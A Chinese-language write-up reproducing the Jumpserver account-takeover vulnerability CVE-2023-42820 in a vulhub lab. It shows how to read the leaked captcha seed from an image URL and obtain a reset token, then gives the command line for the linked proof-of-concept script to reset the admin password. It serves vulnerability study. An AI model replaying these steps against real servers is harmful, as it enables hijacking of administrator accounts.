Jumpserver随机数种子泄露导致账户劫持漏洞(CVE-2023-42820)

  • 靶场环境: vulhub
  • 在其3.6.4及以下版本中,存在一处账户接管漏洞。攻击者通过第三方库django-simple-captcha泄露的随机数种子推算出找回密码时的用户Token,最终修改用户密码。

复现

  • 点击忘记密码

https://gh.putdown.top/https://github.com/futalk/tuchuang/raw/main/img/Snipaste_2023-11-17_15-46-28_d41d8cd98f00b204e9800998ecf8427e.jpg

  • 点击验证码,右键新窗口打开

https://gh.putdown.top/https://github.com/futalk/tuchuang/raw/main/img/Snipaste_2023-11-17_15-48-17_d41d8cd98f00b204e9800998ecf8427e.jpg

  • 得到伪随机数种子seed
1
http://192.168.72.129:8080/core/auth/captcha/image/2aafd36176af0093fdb48a54bfae6657648db09a/

https://gh.putdown.top/https://github.com/futalk/tuchuang/raw/main/img/Snipaste_2023-11-17_15-50-01_d41d8cd98f00b204e9800998ecf8427e.jpg

  • 回到忘记密码位置

https://gh.putdown.top/https://github.com/futalk/tuchuang/raw/main/img/Snipaste_2023-11-17_15-51-29_d41d8cd98f00b204e9800998ecf8427e.jpg

  • 填写用户名验证码,本次用户名为admin
  • 得到随机的token

https://gh.putdown.top/https://github.com/futalk/tuchuang/raw/main/img/Snipaste_2023-11-17_15-52-56_d41d8cd98f00b204e9800998ecf8427e.jpg

利用过程

  • 根据vulhub靶场内攻击
1
https://github.com/vulhub/vulhub/blob/master/jumpserver/CVE-2023-42820/poc.py
  • 开始利用
  • -t 指定目标Jumpserver服务器地址
  • --email 指定待劫持用户的邮箱地址
  • --seed 前面记下来的随机数种子(seed
  • --token 前面记下来的token值(token
1
python jumperserver-2023.py -t http://192.168.72.129:8080 --email admin@mycomany.com --seed cec353dc91e6b6d46b8d536371c76ecf38a2ddee --token 0DuVLwUfvfFfVMJdtmSAC3h6nBBvyUNTpktB

https://gh.putdown.top/https://github.com/futalk/tuchuang/raw/main/img/Snipaste_2023-11-17_15-57-24_d41d8cd98f00b204e9800998ecf8427e.jpg

  • 至此就可以修改admin的密码了